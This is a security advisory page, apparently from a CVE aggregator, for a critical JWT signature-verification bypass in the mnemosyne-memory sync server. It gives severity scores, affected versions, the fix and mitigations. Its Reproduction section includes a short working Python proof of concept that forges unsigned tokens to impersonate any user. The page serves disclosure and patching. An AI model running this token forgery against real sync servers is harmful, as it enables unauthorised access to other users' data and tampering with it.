Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass
CVE-2026-59163 (GitHub advisory GHSA-xcw4-53cc-hv32) is a critical-severity vulnerability with a CVSS 3.1 base score of 9.1, classed as Improper Verification of Cryptographic Signature (CWE-347), in mnemosyne-memory (PyPI). Affected versions: <= 3.10.0. It is fixed in 3.10.1.
Published 18 Sept 2026Updated 18 Sept 2026
- CVE ID
- CVE-2026-59163
- GHSA ID
- GHSA-xcw4-53cc-hv32
- EPSS
- 0.25%higher than 16% of CVEs
- Weakness (CWE)
- CWE-347Improper Verification of Cryptographic Signature
- KEV status
- Not in KEV
- Published
- 18 Sept 2026
- Updated
- 18 Sept 2026
- Ecosystem
- PyPI
- Assigned by (CNA)
- GitHub_M
Summary
Source: OSV (GitHub advisory)
The Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data.
Severity: Critical
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
Assumes the sync server endpoint is network-reachable. If your deployment is localhost-only, the score drops substantially and severity becomes High or Medium depending on local exposure. Confirm your threat model.
Affected versions
All mnemosyne versions exposing the sync server endpoint, up to and including v3.10.0.
Patched versions
v3.10.1 (commit a0b6b871 on branch security/jwt-signature-verification)
Description
The sync server uses JWT bearer tokens to authenticate clients. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key.
The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library:
- Constant-time signature comparison via hmac.compare_digest
- Strict alg: HS256 check, rejecting none and other algorithms
- UTC-aware exp validation with leeway
- Loud errors with specific failure reasons
- Type validation of decoded payload before use
Impact
An attacker with network access to the sync server can:
- Forge a JWT for any user_id without knowing the secret
- Authenticate as that user to /sync/status, /sync/push, and /sync/pull
- Read the victim's sync state
- Push malicious sync state to corrupt the victim's local database
- Pivot within a shared deployment (multi-user sync server)
Confidentiality and integrity of sync data are fully compromised for the duration of exposure. There is no impact on the server's availability.
Reproduction
import base64
import json
import requests
# Forge a JWT for any user. No secret required.
def forge_jwt(user_id):
header = base64.urlsafe_b64encode(
json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
).rstrip(b"=")
payload = base64.urlsafe_b64encode(
json.dumps({"user_id": user_id, "exp": 9999999999}).encode()
).rstrip(b"=")
sig = b""
return f"{header.decode()}.{payload.decode()}."
r = requests.get(
"https://target.example.com/sync/status",
headers={"Authorization": f"Bearer {forge_jwt('victim-user-id')}"},
)
print(r.status_code, r.json())
A 200 OK response with valid sync status payload confirms the bypass. The attack requires no credentials, no secret, and no prior access.
Mitigation
Upgrade to v3.10.1.
For users who cannot upgrade immediately:
- Restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable.
- The vulnerability is not exploitable against an unreachable endpoint.
Workarounds
None. The patch is required to restore authentication integrity.
Credits
- Reporter: Denis Hache (dplush). Reported via private channel on 2026-06-13 with full reproduction and a coordinated disclosure window.
- Fix: Denis Hache
Timeline
- 2026-06-13: Initial report received from Denis via private channel.
Technical details
Source: GitHub Advisory Database
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NCritical9.1Base score from GitHub Advisory Database
- Attack Vector AV
- Network
- Attack Complexity AC
- Low
- Privileges Required PR
- None
- User Interaction UI
- None
- Scope S
- Unchanged
- Confidentiality C
- High
- Integrity I
- High
- Availability A
- None
CISA SSVC decision points
- Exploitation
- poc
- Proof-of-concept code is public
- Automatable
- yes
- Attackers can automate this at scale
- Technical impact
- total
- Full control of the affected system
CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.
Affected packages
Source: OSV (GitHub advisory)
- mnemosyne-memoryPyPI
pkg:pypi/mnemosyne-memory- Affected versions
- <= 3.10.0
- Fixed in
- 3.10.1
Show 25 listed versions
- 1.10.1
- 1.10.2
- 1.11.0
- 1.12.0
- 1.13.0
- 1.9.0
- 2.0.0
- 2.1
- 2.2
- 2.3
- 2.5.0
- 2.6.0
| Package | Affected versions | Fixed in |
|---|---|---|
mnemosyne-memory PyPI pkg:pypi/mnemosyne-memory |
Show 25 listed versions
|
|
Fix
Source: OSV (GitHub advisory)
Fix available
Upgrade to 3.10.1 or later.
Patch commits
fix: verify sync JWT signatures
+163 −22 across 2 files
- mnemosyne/core/sync_server.py+58 −22
- tests/test_sync.py+105 −0
Release commits
The commits each fixed release tag points at. They usually bump the version rather than contain the fix itself.
Vulnerability intelligence
Root cause analysis
Vulnerable functions
References
Fixes 2
Advisories 5
Package 1
Credits
- dplushreporter
Questions about CVE-2026-59163
- What is the GHSA ID for CVE-2026-59163?
- GitHub tracks CVE-2026-59163 as GHSA-xcw4-53cc-hv32.
- What is the CVSS score of CVE-2026-59163?
- CVE-2026-59163 has a CVSS 3.1 base score of 9.1 (Critical), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
- Which versions are affected by CVE-2026-59163?
- mnemosyne-memory (PyPI): <= 3.10.0.
- How do I fix CVE-2026-59163?
- Upgrade to 3.10.1 or later. The fix is in commit a0b6b87 and pull request #373.
- What is the Package URL (PURL) for CVE-2026-59163?
- The affected package's PURL is pkg:pypi/mnemosyne-memory.
- Is CVE-2026-59163 exploited in the wild?
- CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-59163. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc". EPSS estimates a 0.25% chance of exploitation in the next 30 days, higher than 16% of CVEs.
Data sources
Upstream records
- OSV (GitHub advisory)LoadedRaw JSON
- GitHub Advisory DatabaseLoadedRaw JSON
- OSV (CVE record)LoadedRaw JSON
- CVE.orgLoaded
- CISA KEV catalogLoaded
Fetched 1 day ago (14 Oct 2026, 17:50 UTC). Records refresh automatically after 24 hours.
Where each part of this page came from
- Title and description
- OSV (GitHub advisory)
- Severity score
- GitHub Advisory Database
- Weakness (CWE)
- GitHub Advisory Database
- Affected packages
- OSV (GitHub advisory)
- Fix
- OSV (GitHub advisory)
- References
- Computed by CVEminer
- SSVC
- CVE.org
- KEV status
- CISA KEV catalog
- EPSS
- GitHub Advisory Database
OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.